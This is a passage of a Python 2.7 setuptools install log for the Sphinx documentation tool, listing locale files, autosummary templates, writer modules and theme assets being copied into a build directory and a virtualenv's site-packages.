sphinx/locale/et/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES - - copying sphinx/locale/et/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES - - copying sphinx/locale/et/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/et/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/fa - - creating build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES - - copying sphinx/locale/fa/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES - - copying sphinx/locale/fa/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES - - copying sphinx/locale/fa/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/fa/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/fi - - creating build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES - - copying sphinx/locale/fi/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES - - copying sphinx/locale/fi/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES - - copying sphinx/locale/fi/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/fi/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/fr - - creating build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES - - copying sphinx/locale/fr/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES - - copying sphinx/locale/fr/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES - - copying sphinx/locale/fr/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/fr/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/hr - - creating build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES - - copying sphinx/locale/hr/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES - - copying sphinx/locale/hr/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES - - copying sphinx/locale/hr/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/hr/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/it - - creating build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES - - copying sphinx/locale/it/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES - - copying sphinx/locale/it/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES - - copying sphinx/locale/it/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/it/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ja - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES - - copying sphinx/locale/ja/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES - - copying sphinx/locale/ja/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES - - copying sphinx/locale/ja/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ja/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ko - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES - - copying sphinx/locale/ko/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES - - copying sphinx/locale/ko/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES - - copying sphinx/locale/ko/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ko/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/lt - - creating build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES - - copying sphinx/locale/lt/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES - - copying sphinx/locale/lt/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES - - copying sphinx/locale/lt/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/lt/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/lv - - creating build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES - - copying sphinx/locale/lv/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES - - copying sphinx/locale/lv/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES - - copying sphinx/locale/lv/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/lv/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ne - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES - - copying sphinx/locale/ne/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES - - copying sphinx/locale/ne/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES - - copying sphinx/locale/ne/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ne/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/nl - - creating build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES - - copying sphinx/locale/nl/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES - - copying sphinx/locale/nl/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES - - copying sphinx/locale/nl/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/nl/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/pl - - creating build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES - - copying sphinx/locale/pl/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES - - copying sphinx/locale/pl/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES - - copying sphinx/locale/pl/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/pl/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR - - creating build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES - - copying sphinx/locale/pt_BR/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES - - copying sphinx/locale/pt_BR/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES - - copying sphinx/locale/pt_BR/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/pt_BR/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ru - - creating build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES - - copying sphinx/locale/ru/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES - - copying sphinx/locale/ru/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES - - copying sphinx/locale/ru/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/ru/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/sl - - creating build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES - - copying sphinx/locale/sl/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES - - copying sphinx/locale/sl/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES - - copying sphinx/locale/sl/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/sl/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/sv - - creating build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES - - copying sphinx/locale/sv/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES - - copying sphinx/locale/sv/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES - - copying sphinx/locale/sv/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/sv/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/tr - - creating build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES - - copying sphinx/locale/tr/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES - - copying sphinx/locale/tr/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES - - copying sphinx/locale/tr/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/tr/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA - - creating build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES - - copying sphinx/locale/uk_UA/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES - - copying sphinx/locale/uk_UA/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES - - copying sphinx/locale/uk_UA/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/uk_UA/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN - - creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES - - copying sphinx/locale/zh_CN/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES - - copying sphinx/locale/zh_CN/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES - - copying sphinx/locale/zh_CN/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_CN/LC_MESSAGES - - creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW - - creating build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES - - copying sphinx/locale/zh_TW/LC_MESSAGES/sphinx.js -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES - - copying sphinx/locale/zh_TW/LC_MESSAGES/sphinx.mo -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES - - copying sphinx/locale/zh_TW/LC_MESSAGES/sphinx.po -> build/lib.linux-x86_64-2.7/sphinx/locale/zh_TW/LC_MESSAGES - - copying sphinx/pycode/Grammar.txt -> build/lib.linux-x86_64-2.7/sphinx/pycode - - creating build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates - - creating build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary - - copying sphinx/ext/autosummary/templates/autosummary/base.rst -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary - - copying sphinx/ext/autosummary/templates/autosummary/class.rst -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary - - copying sphinx/ext/autosummary/templates/autosummary/module.rst -> build/lib.linux-x86_64-2.7/sphinx/ext/autosummary/templates/autosummary - - running install_lib - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - copying build/lib.linux-x86_64-2.7/sphinx/writers/websupport.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - copying build/lib.linux-x86_64-2.7/sphinx/writers/text.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - copying build/lib.linux-x86_64-2.7/sphinx/writers/latex.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - copying build/lib.linux-x86_64-2.7/sphinx/writers/texinfo.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - copying build/lib.linux-x86_64-2.7/sphinx/writers/manpage.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - copying build/lib.linux-x86_64-2.7/sphinx/writers/html.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - copying build/lib.linux-x86_64-2.7/sphinx/writers/__init__.py -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/writers - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo - - copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo - - copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static/bgfooter.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static/agogo.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/agogo/static/bgtop.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/agogo/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/genindex-split.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/sourcelink.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/genindex-single.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/opensearch.xml -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/localtoc.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/page.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/globaltoc.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/search.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/domainindex.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/relations.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/defindex.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/searchresults.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/basic.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/plus.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/underscore.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/down.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/comment.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/comment-close.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/minus.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/down-pressed.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/file.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/comment-bright.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/searchtools.js_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/doctools.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/ajax-loader.gif -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/up-pressed.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/jquery.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/websupport.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/static/up.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes/frameset.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes/versionchanges.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/changes/rstsource.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic/changes - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/searchbox.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - copying build/lib.linux-x86_64-2.7/sphinx/themes/basic/genindex.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/basic - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional - - copying build/lib.linux-x86_64-2.7/sphinx/themes/traditional/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/traditional/static/traditional.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/traditional/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub - - copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub - - copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/epub-cover.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub - - copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/epub/static/epub.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/epub/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature - - copying build/lib.linux-x86_64-2.7/sphinx/themes/nature/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/nature/static/nature.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/nature/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/footerbg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/middlebg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/ie6.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-seealso.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-warning.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/transparent.gif -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/headerbg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/epub.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-topic.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/pyramid.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/pyramid/static/dialog-note.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/pyramid/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/artwork - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/artwork/logo.svg -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/artwork - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/scrolls.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/theme_extras.js -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/watermark.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/metal.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/navigation.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/print.css -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/headerbg.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/logo.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/watermark_blur.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/scrolls/static/darkmetal.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/scrolls/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc - - copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/layout.html -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc - - copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/theme.conf -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static/contents.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static/sphinxdoc.css_t -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static - - copying build/lib.linux-x86_64-2.7/sphinx/themes/sphinxdoc/static/navigation.png -> /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/sphinxdoc/static - - creating /home/isis/.virtualenvs/python-gnupg/lib/python2.7/site-packages/sphinx/themes/default - - copying 